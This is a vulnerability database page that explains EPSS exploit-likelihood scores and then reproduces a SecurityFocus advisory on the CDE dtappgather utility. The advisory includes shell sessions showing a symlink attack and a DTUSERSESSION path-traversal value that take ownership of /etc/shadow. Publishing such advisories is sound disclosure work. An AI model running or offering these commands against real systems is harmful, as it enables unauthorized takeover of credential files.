EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/131/info Due to improper checking of ownership, the dtappgather utility shipped with the Common Desktop Environment allows arbitrary users to overwrite any file present on the filesystem, regardless of the owner of the file. dtappgather uses a directory of permissions 0777 to create temporary files used by each login session. /var/dt/appconfig/appmanager/generic-display-0 is not checked for existence prior to the opening of the file by dtappgather, and as such, if a user were to create a symbolic link from this file to another on the filesystem, the permissions of this file would be changed to 0666. An additional bug exists whereby dtappgather blindly uses the contents of the DTUSERSESSION environment variable. By setting this variable to point to a file on the filesystem, its permissions can also be changed. As this command takes place relative to the /var/dt/appconfig directory, a series of '..' are required to establish the root directory, after which any file can be altered. % ls -l /etc/shadow -r--r--r-- 1 root other 1500 Dec 29 18:21 /etc/shadow % ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0 % dtappgather MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists % ls -l /etc/shadow -r-xr-xr-x 1 user users 1500 Dec 29 18:21 /etc/shadow --------------------------------------------- $ id uid=6969(foo) gid=666(bar) $ ls -l /etc/shadow -r-------- 1 root sys 234 Nov 7 1999 /etc/shadow $ env DTUSERSESSION=../../../../../../../etc/shadow dtappgather $ ls -l /etc/shadow -r-xr-xr-x 1 foo bar 234 Nov 7 1999 /etc/shadow
